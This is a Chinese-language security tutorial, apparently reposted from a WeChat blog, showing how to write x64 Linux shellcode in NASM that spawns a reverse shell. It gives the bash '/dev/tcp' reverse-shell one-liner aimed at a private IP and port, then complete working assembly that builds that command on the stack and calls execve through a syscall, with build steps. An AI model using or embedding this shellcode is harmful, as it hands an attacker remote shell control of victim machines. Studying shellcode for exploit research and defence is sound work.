Linux下x64版shellcoded编写

admin 2022年4月28日14:38:39评论4 views字数 1733阅读5分46秒阅读模式

Linux下x64版shellcoded编写

平台:ubuntu 20.04 64位 语言:nasm 目标:反弹shell

简介

改一下版本,反弹一个shell

命令行下

  • 反弹命令 bash-i>&/dev/tcp/192.168.3.138/80800>&1

系统调用

我们依然是通过syscall的方法来调用系统api,man一下syscall

Linux下x64版shellcoded编写

Linux下x64版shellcoded编写

通过查表我们可以确定,这次调用不是通过int 0x80而是直接调用syscall来进行。同时参数寄存器也是改为了rdi,rsi,rdx,r10,r8,r9。

execve

通过查询unistd_64.h可以确定execve 的调用号为59,即0x3b。参数列表为 ['/bin/bash','-c','/bin/bash -i >& /dev/tcp/192.168.3.138/8080 0>&1']参数转16进制的方法python3下 'string'[::-1].encode().hex()

Linux下x64版shellcoded编写

贴代码

  1. section .text ; defines code section

  2. global _start

  3. _start:

  4. xor rdx, rdx

  5. xor rax, rax

  6. push rdx ;字符串结尾的00

  7. push 0x68

  8. mov rax,0x7361622f6e69622f;'/bin/bash'

  9. push rax

  10. mov rdi, rsp ;'/bin/bash'字符串起始地址存入rdi

  11. push rdx ;字符串结尾的00'

  12. xor rax,rax

  13. mov ax, 0x632d

  14. push rax ; '-c'

  15. mov r10, rsp ; '-c' 字符串起始地址存入r10

  16. push rdx ; 字符串结尾的00

  17. mov rax, 0x31263e3020303830

  18. push rax ; 080 0>&1

  19. mov rax, 0x382f3833312e332e

  20. push rax ;.3.138/8

  21. mov rax, 0x3836312e3239312f

  22. push rax ;/192.168

  23. mov rax, 0x7063742f7665642f

  24. push rax ;/dev/tcp

  25. mov rax, 0x20263e20692d2068

  26. push rax ;h -i >&

  27. mov rax, 0x7361622f6e69622f

  28. push rax ;/bin/bas

  29. mov rcx, rsp ; '/bin/bash -i >&/dev/tcp/192.168.3.138/80800>&1' 字符串起始地址存入rcx

  30. push rdx ; 数组结尾的00

  31. push rcx ; '/bin/bash -i >&/dev/tcp/192.168.3.138/80800>&1' 地址的指针压栈

  32. push r10 ; '-c' 地址的指针压栈

  33. push rdi ; '/bin/bash' 地址的指针压栈

  34. mov rsi, rsp ; ['/bin/bash', '-c','/bin/bash -i >&/dev/tcp/192.168.3.138/80800>&1'] 参数列表的指针(即第一个参数的地址)存入rsi

  35. push 0x3b ; execve 的syscall

  36. pop rax ; 把调用号存入rax

  37. syscall ; call execve('/bin/bash', ['/bin/bash', '-c','/bin/bash -i >&/dev/tcp/192.168.3.138/80800>&1'], 0)

编译

  1. nasm-f elf64 a.asm

  2. ld a.o

运行

Linux下x64版shellcoded编写

坑点

>&等重定向符号是由shell本身来解释的,不属于shell的参数,因此直接使用execve调用 /bin/bash-i>&/dev/tcp/192.168.3.138/80800>&1会出现 >&:Nosuch fileordirectory的问题。

附录

unistd_64.h

  1. #ifndef _ASM_X86_UNISTD_64_H

  2. #define _ASM_X86_UNISTD_64_H 1

  3. //假装这里是头文件

  4. #endif/* _ASM_X86_UNISTD_64_H */

参考文章

https://stackoverflow.com/questions/28490290/how-can-i-pass-the-redirection-operator-as-an-argument-for-execv

Linux下x64版shellcoded编写

原文始发于微信公众号(Wings安全团队):Linux下x64版shellcoded编写

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月28日14:38:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux下x64版shellcoded编写https://cn-sec.com/archives/958110.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息